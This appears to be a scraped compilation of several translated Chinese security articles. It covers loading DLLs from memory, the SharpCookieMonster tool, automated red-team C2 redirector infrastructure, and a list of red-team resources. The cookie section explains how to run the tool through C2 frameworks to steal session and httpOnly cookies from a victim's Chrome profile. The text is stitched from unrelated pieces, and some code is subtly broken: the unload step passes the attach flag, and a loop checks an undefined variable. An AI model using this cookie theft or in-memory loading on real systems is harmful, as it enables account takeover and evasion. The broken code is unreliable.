库的代码/数据部分中的所有内存地址都相对于ImageBase在OptionalHeader中定义的地址进行存储。如果无法将库导入到该内存地址,则必须对引用进行调整=> relocated。文件格式通过在基本重定位表中存储有关所有这些引用的信息来帮助实现此目的,这些信息可在OptionalHeader中的DataDirectory的目录条目5中找到。

该表由一系列这种结构组成

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} IMAGE_BASE_RELOCATION;

它包含(SizeOfBlock – IMAGE_SIZEOF_BASE_RELOCATION)/ 2个条目,每个条目16位。高4位定义重定位的类型,低12位定义相对于VirtualAddress的偏移量。

似乎在DLL中使用的唯一类型是

IMAGE_REL_BASED_ABSOLUTE

用于填充。

IMAGE_REL_BASED_HIGHLOW

将ImageBase和分配的内存块之间的增量添加到在偏移处找到的32位。

解决导入部分

OptionalHeader中DataDirectory的目录条目1指定要从中导入符号的库列表。此列表中的每个条目定义如下:

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;            // 0 for terminating null import descriptor
        DWORD   OriginalFirstThunk;         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
    };
    DWORD   TimeDateStamp;                  // 0 if not bound,
                                            // -1 if bound, and real date\time stamp
                                            //     in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
                                            // O.W. date/time stamp of DLL bound to (Old BIND)
    DWORD   ForwarderChain;                 // -1 if no forwarders
    DWORD   Name;
    DWORD   FirstThunk;                     // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;

该名条目描述偏移到库的名称(例如的空值终止字符串KERNEL32.DLL)。该OriginalFirstThunk条目指向的函数名的引用列表从外部库中导入。FirstThunk指向地址列表,该地址列表中包含指向导入符号的指针。

解决导入问题时,我们浏览两个列表,将名称定义的函数导入第一个列表,并将指向符号的指针存储在第二个列表中:

nameRef = (DWORD *)(baseAddress + importDesc->OriginalFirstThunk);
symbolRef = (DWORD *)(baseAddress + importDesc->FirstThunk);
for (; *nameRef; nameRef++, symbolRef++)
{
    PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *nameRef);
    *symbolRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
    if (*funcRef == 0)
    {
        handleImportError();
        return;
    }
}

内存保护

每个部分的“ 特征”条目中都指定了权限标志。这些标志可以是以下之一或组合

IMAGE_SCN_MEM_EXECUTE

本节包含可以执行的数据。

IMAGE_SCN_MEM_READ

本节包含可读数据。

IMAGE_SCN_MEM_WRITE

本节包含可写的数据。

这些标志必须映射到保护标志

PAGE_NOACCESS

PAGE_WRITECOPY

PAGE_READONLY

PAGE_READWRITE

PAGE_EXECUTE

PAGE_EXECUTE_WRITECOPY

PAGE_EXECUTE_READ

PAGE_EXECUTE_READWRITE

现在,可以使用函数VirtualProtect限制对内存的访问。如果程序尝试以未经授权的方式访问它,则Windows会引发异常。

除了上面的部分标志之外,还可以添加以下内容:

IMAGE_SCN_MEM_DISCARDABLE

导入后可以释放此部分中的数据。通常,这是为重定位数据指定的。

IMAGE_SCN_MEM_NOT_CACHED

Windows不得缓存此部分中的数据。将位标志PAGE_NOCACHE添加到上面的保护标志中。

Notify library

最后要做的是调用DLL入口点(由AddressOfEntryPoint定义),并因此通知库有关附加到进程的信息。

入口点的功能定义为

typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);

所以我们最后需要执行的代码是

DllEntryProc entry = (DllEntryProc)(baseAddress + PEHeader->OptionalHeader.AddressOfEntryPoint);
(*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);

之后,我们可以像使用任何普通库一样使用导出的函数。

导出功能

如果要访问库导出的函数,则需要找到符号的入口点,即要调用的函数的名称。

OptionalHeader中DataDirectory的目录条目0包含有关导出函数的信息。它的定义如下:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

首先要做的是将函数名称映射到导出符号的序号。因此,只需并行遍历AddressOfNames和AddressOfNameOrdinals定义的数组,直到找到所需的名称。

现在,您可以使用序号通过评估AddressOfFunctions数组的第n个元素来读取地址。

释放

要释放自定义加载的库,请执行以下步骤

调用入口点以通知库有关分离的信息:

DllEntryProc entry = (DllEntryProc)(baseAddress + PEHeader->OptionalHeader.AddressOfEntryPoint);
(*entry)((HINSTANCE)baseAddress, DLL_PROCESS_ATTACH, 0);

用于解析导入的免费外部库。

释放已分配的内存。

内存模块

MemoryModule是一个C库,可用于从内存加载DLL。

该接口与加载库的标准方法非常相似:

typedef void *HMEMORYMODULE;
HMEMORYMODULE MemoryLoadLibrary(const void *);
FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
void MemoryFreeLibrary(HMEMORYMODULE);

github

http://github.com/fancycode/MemoryModule

*参考来源:joachim,FB小编周大涛编译,转载请注明来自FreeBuf.COM

这个工具将从Google Chrome浏览器中提取Cookie,是一个.NET程序集,可以在C2中通过工具如PoshC2使用或CobaltStrike的命令。run-exe execute-assembly

项目地址是SharpCookieMonster

用法

只需将站点输入即可。

SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]

可选的第一个参数分隔chrome启动时最初连接的网站(默认为https://www.google.com)。

第二个可选参数指定用于启动chrome调试器的端口(默认为9142)。

最后,可选的第三个参数指定用户数据目录的路径,可以覆盖该路径以访问不同的配置文件(默认为%APPDATALOCAL%\ Google \ Chrome \ User Data)。

img

img

如您所见,它可用于提取session,httpOnly并通过C2传输cookie。它还已作为模块添加到PoshC2中,并设置了自动加载和别名功能,因此可以使用来简单地运行它sharpcookiemonster

这也适用于CobaltStrike的,可以使用execute-assembly

还值得注意的是,您不需要任何特权访问权限即可执行此操作,只需在存储会话的计算机上在该用户上下文中执行代码即可。

它是如何工作的?

在后台,这是通过首先启动Google Chrome来实现的。我们首先枚举任何正在运行的chrome.exe进程以提取其镜像路径,但是如果失败,则默认为C:\ Program Files(x86)\ Google \ Chrome \ Application \ chrome.exe。然后,我们启动该可执行文件,设置适当的标志并将该进程的输出重定向到我们的stdout,以便即使在C2通道上运行它时也可以查看它是否出错。

--headless标志意味着chrome.exe实际上将在没有任何用户界面的情况下运行,但可以使用其API进行交互。对于红队成员而言,这是完美的选择,因为它将仅作为另一个chrome.exe进程出现,而不会向用户显示任何内容。然后,通过--remote-debugging-port标记为此过程启用远程调试,然后使用将数据目录指向用户的现有数据目录--user-data-dir

img

启动

启动后,我们将检查进程是否正在运行,并等待调试器端口打开。

然后,我们可以在该端口上与API交互以获取websocket调试器URL。该URL允许程序通过websockets上的API与Chrome的devtools进行交互,从而为我们提供了这些devtools的全部功能。所有这些操作都是在受害人的计算机上本地完成的,因为该二进制文件正在运行,而无界面的Chrome进程正在运行。

img

然后,我们可以发出请求以检索该配置文件的缓存中的所有cookie,并将其返回给操作员。

编译

如果您想自己构建二进制文件,只需克隆它并在Visual Studio中构建它即可。

该项目已设置为与.NET 3.5兼容,以便与安装较旧版本.NET的受害人兼容。但是,为了使用WebSockets与Chrome进行通信,添加了WebSocket4Net程序包。

如果要在C2上运行此命令(例如使用PoshC2sharpcookiemonster命令或通过CobaltStrike的命令),请execute-assembly使用ILMerge将生成的可执行文件与依赖库合并。

例如,首先重命名原始二进制文件,然后运行:

ILMerge.exe /targetplatform:"v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727" /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll SuperSocket.ClientEngine.dll

*参考来源:jmpesp,FB小编周大涛编译,转载请注明来自FreeBuf.COM

随着RedTeaming行业的发展,我们对构建可靠环境的需求也越来越高。至关重要的是要拥有维护健壮的基础架构的能力,该基础架构要保证一旦出现问题就可以重新创建,更重要的是,我们需要确保环境在部署时不会出现问题。

今天,我开始发布一系列文章中的第一篇,我们将采用DevOps团队流行的一些做法,并希望使用这些技术来帮助我们构建稳定且经过测试的基础架构。在本文中,我将快速回顾一下如何在代码中定义RedTeam基础架构,这些代码放在Git仓库中。但是,更重要的是,我们将继续研究环境不断变化和复杂性增加的测试方法,并逐步介绍如何将CI管道引入混合流程以帮助实现此测试的自动化。

管理我们的基础架构

长期以来,典型的RedTeam基础架构部署的构建都使用redirectors的概念进行了标准化。最基本的C2部署如下所示:

到目前为止,我们都了解了在选择C2框架之前使用重定向器的优势,使我们能够通过团队服务器控制客户敏感数据,并掩盖了真正的流量来源,同时允许快速重新创建这些一次性重定向器而无需需要拆除后端服务器。

那么,这一切如何管理?多年来,我已经看到了许多种不同的方式来部署环境。最常见的设置是手动部署每个组件的位置。对于AWS用户,这意味着需要通过管理控制台来创建EC2实例,通过SSH进入,为反向隧道配置SSH等。当然,一旦BlueTeam找到重定向器,实例就会被拆除,然后我就要重新配置新实例,依此类推…

这显然很烦人且容易出错,因此诞生自动化RedTeam基础架构部署的想法。我将从awsaz shell命令包装到脚本中,再到通过配置文件使用Terraform管理环境。

但是,在开始测试基础架构之前,我们实际上需要一些基础架构进行测试。

Terraform

首先,我们将专注于创建容纳我们资源的基础结构的过程。可能许多人都熟悉Terraform,它是Hashicorp的工具,Terraform允许您在云服务(例如AWS,Azure和DigitalOcean)上创建,更新和销毁基础架构。基础结构在HCL脚本中进行了描述,并在进行了设计之后,我们将其交给Terraform及其提供者来“ 实现 ”。

出于本文的目的,我们将创建一个非常简单的环境,其中包含2个充当重定向器的EC2实例。用于执行此操作的Terraform脚本通常如下所示:

provider "aws" {
  region = "eu-west-2"
}
variable "INSTANCE_NAMES" {
  default = {
    "0" = "Redirector-ShortHaul"
    "1" = "Redirector-LongHaul"
  }
}
variable "PUBLIC_KEY" {
  default = "./keys/terraformkey.pub"
}
variable "MANAGEMENT_IP" {
  default = "1.2.3.4/32"
}
resource "aws_key_pair" "terraformkey" {
  key_name   = "${terraform.workspace}-terraform-key"
  public_key = file("${var.PUBLIC_KEY}")
}
resource "aws_security_group" "redirector-sg" {
  name = "redirector-sg"
  # Allow HTTP inbound
  ingress {
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
    from_port   = 80
    to_port     = 80
  }
  # Allow HTTPS inbound
  ingress {
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
    from_port   = 443
    to_port     = 443
  }
  # Allow management from our management IP
  ingress {
    protocol    = "tcp"
    cidr_blocks = ["${var.MANAGEMENT_IP}"]
    from_port   = 22
    to_port     = 22
  }
  # Allow global outbound
  egress {
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
    from_port   = 0
    to_port     = 0
  }
}
data "aws_ami" "ubuntu" {
  most_recent = true
  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
  }
  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }
  owners = ["099720109477"]
}
resource "aws_instance" "redirector" {
  ami           = data.aws_ami.ubuntu.id
  instance_type = "t2.micro"
  count         = length(var.INSTANCE_NAMES)
  key_name      = aws_key_pair.terraformkey.key_name
  vpc_security_group_ids = [
    "${aws_security_group.redirector-sg.id}",
  ]
  tags = {
    Name    = "${var.INSTANCE_NAMES[count.index]}"
    JobName = "${terraform.workspace}"
  }
}
output "redirector_ips" {
    description = "Public IP addresses of created redirectors"
    value = aws_instance.redirector.*.public_ip
}

为了确保我们可以运行基础架构的多个实例并且不会与其他参与资源冲突,我们通常通过以下方式创建新的Terraform工作空间:

terraform workspace new InsecureBank

但是在部署之前,让我们通过执行terraform plan来测试一切是否正常:

一旦我们对所有内容进行了检查,就可以移至terraform apply命令:

Terraform完成后,我们可以查询AWS并验证是否已创建服务器:

aws ec2 describe-instances --query 'Reservations[].Instances[].[Tags[?Key==`Name`].Value,InstanceType,PublicIpAddress]' --output json

接下来我们需要配置它们。这里不需要使用SSH,无需手动配置任何内容。相反,让我们看一下如何使这一步骤自动化。

Ansible

尽管有诸如Chef和Puppet之类的其他工具,但是Ansible仍然是我最喜欢的工具之一

因此,我们知道现在有2台在线服务器要配置。我们也知道它们的功能将是相同的,这意味着一个写得很好的Ansible脚本应该能够应用于每个环境。

让我们从创建工作区开始。我发现以下布局对此类项目很有用:

.
├── ansible.cfg
├── playbooks
│   └── 10_example.yml
├── roles
│   ├── requirements.yml
│   └── ubuntu-nginx
│       ├── ...
└── site.yml

这种布局的想法是提供存储我们的脚本和角色的位置,同时包括一个Ansible配置文件,该文件将提供存储规则的位置。

我尝试坚持创建Ansible角色来封装相似的配置区域,例如,对于这样的项目,我们将为以下区域创建单独的角色:

加强基础安装

安装Nginx以公开HTTP(S)C2

配置SSH以从我们的团队服务器进行访问

添加任何日志记录功能

显然,您可以根据需要自定义重定向器,但是在此示例中,我们将重点放在Web服务器角色上。我们的角色将非常简单,并涉及以下任务:

确保添加了所需的用户和组

安装NGINX

通过配置文件配置NGINX以进行反向代理

综上所述,我们的Ansible角色YAML可能看起来像这样:

---
- name: Ensure group "nginx" exists
  group:
    name: nginx
    state: present
- name: Add the user nginx
  user:
    name: nginx
    shell: /bin/nologin
    groups: nginx
- name: Install NGINX
  apt:
    name: nginx
    state: present
    update_cache: yes
- name: Add NGINX configuration from template
  template:
    src: default.conf.j2
    dest: /etc/nginx/conf.d/default.conf
    owner: root
    group: root
    mode: 0644
  notify: restart nginx

在这里,我们采取了一些简单的步骤来添加我们的nginx用户,安装NGINX并添加从模板制作的配置文件。我们可以使用脚本来应用它,例如:

---
 - hosts: redirector*
   become: yes
   gather_facts: no
   pre_tasks:
        - raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)
        - setup: # aka gather_facts
   roles:
        - redirector-nginx

构建角色和脚本后,通过terraform-inventory工具可以轻松地将Ansible角色应用于重定向器的过程,该工具使我们能够解析Terraform状态文件并动态构建Ansible库存。例如,通过上面的Ansible项目,我们可以使用以下方法来应用角色:

TF_STATE=../terraform ansible-playbook --inventory-file=/usr/local/bin/terraform-inventory -u ubuntu --private-key ../terraform/keys/terraformkey site.yml

我们将要测试两个方面。首先将是我们的Ansible角色,负责实际配置重定向器。第二个将是包含重定向器的AWS基础架构的部署,以及部署后实际AWS重定向器的状态。

使用Molecule测试Ansible

建立Ansible可能会很难,对我们来说幸运的是,有工具可以帮助测试Ansible,这也使我们可以从提高的开发速度。为此,我们将使用一个名为Molecule的框架。这个框架已经存在了一段时间,并且实质上允许您隔离地部署Ansible角色(例如,在Docker容器内),并在应用角色后使用TestInfra测试容器的状态。

首先,我们需要使用pip安装Molecule:

# Create our venv
python -m venv env
source ./env/bin/activate
# Install molecule
pip install --user molecule

安装完成后,我们将为Ansible角色构建一些测试。Molecule使用“scenarios”的概念来描述测试用例的**。让我们使用以下方法创建默认场景以测试NGINX角色:

cd rolename; molecule init scenario -r rolename

我们看一下内部,将会看到类似以下的内容:

.
└── default
    ├── Dockerfile.j2
    ├── INSTALL.rst
    ├── molecule.yml
    ├── playbook.yml
    └── tests
        ├── test_default.py
        └── test_default.pyc

对于这种情况,我们的测试将添加到test_default.py Python脚本中,并将使用TestInfra框架。但是在开始之前,我们应该花一些时间通过Molecular.yml文件配置场景。由于我通常偏爱基于Ubuntu的服务器,因此我想确保测试在相似的环境中运行。为此,我们只需将“平台”部分更新为:

platforms:
  - name: instance
    image: ubuntu:18.04

接下来,让我们创建一些简单的测试来展示此框架的功能。我们知道此角色将部署NGINX,因此,作为一个很好的起点,我们可以进行测试以确保在我们的角色运行后实际安装了NGINX,如下所示:

def test_nginx_installed(host):
    nginx = host.package("nginx")
    assert nginx.is_installed

我们还想确保在应用角色时NGINX实际上正在运行:

def test_nginx_running(host):
    nginx = host.service("nginx")
    assert nginx.is_running

带有反向代理信息的自定义配置又如何呢?好吧,让我们添加一些检查以确保一旦应用角色,我们的配置实际上就存在:

def test_nginx_configuration(host):
    passwd = host.file("/etc/nginx/conf.d/default.conf")
    assert passwd.contains("proxy_pass")
    assert passwd.user == "nginx"
    assert passwd.group == "nginx"
    assert passwd.mode == 0o644

将此添加到我们的Molecule测试用例后,让我们开始快速测试以确保所有功能都适用:

molecule test

现在,在我们的情况下,我们可能会看到以下内容:

这意味着测试失败了,因为我们的NGINX配置文件是root拥有的,并且我们的测试正在寻找nginx的用户,所以让我们更新测试以反映这一点:

def test_nginx_configuration(host):
    passwd = host.file("/etc/nginx/conf.d/default.conf")
    assert passwd.contains("proxy_pass")
    assert passwd.user == "root"
    assert passwd.group == "root"
    assert passwd.mode == 0o644

希望当我们重新运行测试时,我们将看到如下所示:

在我们继续测试Ansible角色之前,值得一提的是在开发工作流程中使用Molecule的另一个优势。我发现,使用Ansible开发的痛苦之一是您必须进行许多调整才能使工作按预期进行,然后清理环境并重复进行。幸运的是,Molecule公开了Molecular converge命令,该命令使您可以在不运行任何测试的情况下将Ansible角色应用于Docker容器。这意味着您可以继续将角色应用于容器,以确保其在开发过程中按预期进行。

InSpec

InSpec是Chef的创造者提供的一个很棒的工具,它使我们能够根据所需状态测试已部署的基础架构。从可用的CIS基准测试到验证某个环境中已修补了漏洞,InSpec有许多用途。我们想使用InSpec来确保我们部署的基础架构满足许多简单的要求:

1.我们只公开HTTP和HTTPS端口吗?

2.SSH是否可用于我们的管理IP?

3.NGINX是否已在两个重定向器上启动并运行?

4.我们的反向代理配置是否应用于重定向器?

在确定了这些简单的测试用例之后,让我们创建一组InSpec测试以验证我们部署的基础架构是否符合我们的期望。

首先,我们需要初始化我们的AWS测试,我们可以使用以下方法进行测试:

inspec init profile --platform aws aws_tests

这将创建一个模板,其布局如下:

.
├── README.md
├── attributes.yml
├── controls
│   └── example.rb
├── inspec.lock
└── inspec.yml

在本文中,我们将使用example.rb来介绍Terraform构建的AWS环境的一些测试。

如果我们专注于确保重定向器处于联机状态,并且我们的安全组仅公开公开HTTP/S,而隐藏SSH,则最终会出现一系列测试用例,例如:

title "AWS"
describe aws_ec2_instance(name: 'Redirector-LongHaul') do
  it { should exist }
end
describe aws_ec2_instance(name: 'Redirector-ShortHaul') do
  it { should exist }
end
describe aws_security_group(group_name: 'redirector-sg') do
  it { should exist }
  it { should allow_in(port: 80, ipv4_range: '0.0.0.0/0') }
  it { should allow_in(port: 443, ipv4_range: '0.0.0.0/0') }
  it { should allow_in(port: 22, ipv4_range: '1.2.3.4/32') }
end

确保通过aws configure命令或环境变量配置了您的AWS配置文件,并且我们可以使用我们的默认配置文件运行InSpec测试,其中包括:

cd test-aws; inspec exec . -t aws://

希望一切顺利,我们应该看到我们收到了InSpec的确认,确认所有内容都输出:

但是我们的重定向器配置又如何呢?我们怎么知道我们的Ansible角色实际上已被应用?这很容易检查,我们可以使用以下方法创建模板:

inspec init profile redirectors

并添加一些测试用例,类似于上面的测试:

title "Service Config"
describe service('nginx') do
  it { should be_installed }
  it { should be_enabled }
  it { should be_running }
end
describe service('ssh') do
  it { should be_installed }
  it { should be_enabled }
  it { should be_running }
end
describe file('/etc/nginx/conf.d/default.conf') do
    its('content') { should match %r{proxy_pass } }
end

并通过以下方式运行:

inspec exec . -t ssh://[email protected] -i ./keys/remotekey

这里有一个与我们的预期测试不匹配的NGINX配置文件的示例。快速修复Ansible角色或InSpec测试,我们应该看到所有内容都可以输出:

太好了,让我们确认到目前为止的内容…我们拥有可创建基础架构的Terraform脚本。我们有Ansible脚本和角色,可以提供重定向程序。我们进行了分子测试,以使我们能够快速开发和验证我们的角色,最后,我们进行了InSpec测试,以确保完全按照我们的期望来创建基础架构。

将管道和内容联动

我们现在可以解决所有问题,并且我们相信我们的角色和基础架构将按期望的方式工作。但是,我们如何确保每次有人对这些组件中的任何一个进行更改时,下次我们启动或重新启动环境时,一切都能顺利运行?在开发环境中,CI已成为控制代码的有用实践。通过强制在推送到Git服务器时运行测试,我们可以确保将代码更改合并到Master中不会在下次部署时造成中断。

为了创建我们的CI管道,我们将使用Gitlab,这是我当前选择的托管Git服务器。Gitlab不仅是托管我们的Git仓库的好地方,而且还充当CI / CD平台,使我们能够通过Gitlab Runners执行测试,构建和部署。

那么CI到底是什么?CI的意思是“持续集成”,这是一种通过大量自动化测试不断将开发人员所做的更改合并到稳定分支中的实践,以确保推送的提交不会破坏任何内容。这个想法是,通过使用测试在合并期间保持质量水平。

为了将测试的每个阶段联系在一起,我们需要在gitlab-ci.yml文件中描述每个阶段,该文件位于项目的根目录中。这将使我们能够构建流水线,可用于通过Git推送进行测试,过渡到暂存环境,并通过一系列验证步骤来确保基础结构完全符合我们的期望。

我们管道的每个阶段将定义为:

测试–通过Molecule测试Ansible

测试– Terraform HCL验证

阶段–部署到测试环境

预配–使用Ansible预配已部署的服务器

验证–测试环境的InSpec验证

清理–拆除基础设施

让我们从定义各个管道阶段开始,将每个阶段分解为如何在gitlab-ci.yml文件中表示:

stages:
  - test
  - stage
  - provision
  - validate
  - cleanup

在这里,我们定义了管道的每个阶段,我们可以将它们匹配到上面定义的步骤。接下来,我们需要从Terraform开始,告诉Gitlab在每个阶段做什么:

terraform_validate:
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: test
  script:
    - cd terraform 
    - terraform init
    - terraform validate

这里的想法很简单,如果基本的Terraform配置没有输出,我们不想继续进行其他步骤,因此我们在继续之前执行一个简单的验证步骤。

完成此阶段后,我们将开始为Ansible运行测试:

molecule_tests:
  image: docker:latest
  stage: test
  before_script:
    - apk update && apk add --no-cache docker
      python3-dev py3-pip docker gcc git curl build-base
      autoconf automake py3-cryptography linux-headers
      musl-dev libffi-dev openssl-dev openssh
    - docker info
    - python3 --version
  script:
    - pip3 install ansible molecule docker
    - cd ansible/roles/ubuntu-nginx
    - molecule test

在这里,我们将使用docker:latest映像以及“ Docker-in-Docker”服务,以允许Molecule启动运行Molecule测试所需的其他容器。值得注意的是,在此阶段,我们正在管道阶段执行过程中安装Molecule框架。我不建议您在自己的管道中执行此操作,因为这样做是为了演示执行Molecule所需的操作。实际上,您将托管具有所有预配置内容的Docker映像,以加快测试速度。

一旦我们的管道达到了这个阶段,我们就已经验证了Terraform文件在语法上是正确的,并且我们的Ansible角色通过了每个创建的测试,因此接下来,我们将把基础架构部署到AWS作为过渡环境进行进一步测试:

deploy_stage:
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: stage
  script:
    - cd terraform
    - terraform init
    - terraform apply --auto-approve
  artifacts:
    paths:
      - terraform/terraform.tfstate
    expire_in: 1 day

与之前的Terraform阶段相似,我们只是使用Hashicorp的Terraform Docker映像来提供Terraform工具,但是在Terraform运行之后,我们希望将状态文件保留为工件。工件可以使我们从一个阶段公开文件,并提供将创建的文件传递到管道的后续阶段的能力,这意味着在这种情况下,我们可以将Terraform tfstate文件传递给以后进行清理。

现在,我们已在重定向环境中部署了重定向器,我们需要使用Ansible进行配置:

provision_stage:
  stage: provision
  when: delayed
  start_in: 30 seconds
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  before_script:
    - apk add ansible
    - wget https://github.com/adammck/terraform-inventory/releases/download/v0.9/terraform-inventory_0.9_linux_amd64.zip -O /tmp/terraform-inventory_0.9_linux_amd64.zip
    - unzip /tmp/terraform-inventory_0.9_linux_amd64.zip -d /usr/bin/; chmod 700 /usr/bin/terraform-inventory
  script:
    - cd terraform; terraform init; cd ..
    - cd ansible; chmod 600 .
    - chmod 600 ../terraform/keys/terraformkey
    - ANSIBLE_HOST_KEY_CHECKING=False TF_STATE=../terraform ansible-playbook --inventory-file=/usr/bin/terraform-inventory -u ubuntu --private-key ../terraform/keys/terraformkey site.yml

同样,您通常将创建一个Docker映像以加快此阶段,并根据需要添加“ terraform-inventory”工具。

在配置了重定向器之后,我们将针对AWS环境运行我们先前设计的InSpec测试:

inspec_tests:
  stage: validate
  image: 
    name: chef/inspec:4.18.51
    entrypoint:
    - '/usr/bin/env'
    - 'PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  before_script:
    - apk add jq
  script:
    - inspec --chef-license=accept-silent
    - cd inspec
    - inspec exec redirectors -t "ssh://[email protected]$(jq '.redirector_ips.value[0]' -r ../terraform/output.json)" -i ../terraform/keys/terraformkey
    - inspec exec redirectors -t "ssh://[email protected]$(jq '.redirector_ips.value[1]' -r ../terraform/output.json)" -i ../terraform/keys/terraformkey

最后,一旦一切完成,我们将自己清理环境:

cleanup:
  when: always
  image: 
    name: hashicorp/terraform:light
    entrypoint:
    - '/usr/bin/env'
    - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: cleanup
  script:
    - cd terraform
    - terraform init
    - terraform destroy --auto-approve

您可能会在这里注意到when:always语句。这仅表示即使上一个阶段失败,该阶段也将运行。即使测试失败,这也使我们有机会清理过渡环境,以避免积累不必要的AWS费用。

当我们将gitlab-ci.yml文件放在一起时,会得到如下所示的内容:

image: docker:latest
services:
  - docker:dind
cache:
  key: ${CI_COMMIT_REF_SLUG}
  paths:
  - terraform/.terraform
stages:
  - test
  - stage
  - provision
  - validate
  - cleanup
terraform_validate:
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: test
  script:
    - cd terraform 
    - terraform init
    - terraform validate
molecule_tests:
  image: docker:latest
  stage: test
  before_script:
    - apk update && apk add --no-cache docker
      python3-dev py3-pip docker gcc git curl build-base
      autoconf automake py3-cryptography linux-headers
      musl-dev libffi-dev openssl-dev openssh
    - docker info
    - python3 --version
  script:
    - pip3 install ansible molecule docker
    - cd ansible/roles/ubuntu-nginx
    - molecule test
deploy_stage:
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: stage
  script:
    - cd terraform
    - terraform init
    - terraform apply --auto-approve
    - terraform output --json > output.json
  artifacts:
    paths:
      - terraform/terraform.tfstate
      - terraform/output.json
    expire_in: 1 day
provision_stage:
  when: delayed
  start_in: 30 seconds
  image: 
    name: hashicorp/terraform:light
    entrypoint:
      - '/usr/bin/env'
      - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: provision
  before_script:
    - apk add ansible
    - wget https://github.com/adammck/terraform-inventory/releases/download/v0.9/terraform-inventory_0.9_linux_amd64.zip -O /tmp/terraform-inventory_0.9_linux_amd64.zip
    - unzip /tmp/terraform-inventory_0.9_linux_amd64.zip -d /usr/bin/; chmod 700 /usr/bin/terraform-inventory
  script:
    - cd terraform; terraform init; cd ..
    - cd ansible; chmod 600 .
    - chmod 600 ../terraform/keys/terraformkey
    - ANSIBLE_HOST_KEY_CHECKING=False TF_STATE=../terraform ansible-playbook --inventory-file=/usr/bin/terraform-inventory -u ubuntu --private-key ../terraform/keys/terraformkey site.yml
inspec_tests:
  stage: validate
  image: 
    name: chef/inspec:4.18.51
    entrypoint:
    - '/usr/bin/env'
    - 'PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  before_script:
    - apk add jq
  script:
    - inspec --chef-license=accept-silent
    - cd inspec
    - inspec exec test-aws -t aws:// 
    - inspec exec redirectors -t "ssh://[email protected]$(jq '.redirector_ips.value[0]' -r ../terraform/output.json)" -i ../terraform/keys/terraformkey
    - inspec exec redirectors -t "ssh://[email protected]$(jq '.redirector_ips.value[1]' -r ../terraform/output.json)" -i ../terraform/keys/terraformkey
cleanup_stage:
  when: always
  image: 
    name: hashicorp/terraform:light
    entrypoint:
    - '/usr/bin/env'
    - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
  stage: cleanup
  script:
    - cd terraform
    - terraform init
    - terraform destroy --auto-approve

提交到项目后,我们将看到现在可以使用我们的管道,该管道将在每次推送时执行。一旦有人向您的基础架构提交提交,您将收到一个消息,表明一切都已正常:

*参考来源:mdsec,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文介绍了国外关于红队技巧的博客,Twitter,网站。

Pentester Academy

他们按月订阅的服务,主要提供有关渗透测试的在线视频课程,但同时还包括有关操作系统取证,社会工程学和汇编语言的课程。其他主题包括利用缓冲区溢出,制作用于演示的黑客工具以及解释操作的安全性。

Vincent Yiu

他们有一个一个Twitter 用于分享红队经验,在其中为红队成员发布了有见地的提示。他还整理了许多技巧,并将其发布在个人网站上

[探索TechBeacon关于SecOps挑战和机遇指南。另外:下载2019年《安全状况报告》。]

Twitter #redteam资源

如果您正在寻找红队的信息,可以在Twitter上使用#redteam#redteaming主题标签找到它。您可以找到有关主题的指南,包括如何使用组策略对象进行持久性和横向移动,可以找到用于红队活动的工具的位置,以及有关有趣软件的警报。

Daniel Miessler

他在网站上撰写的红队文章包括“紫色团队渗透测试意味着您失败于红色和蓝色”和“何时使用漏洞评估,渗透测试,红队和Bug赏金”。

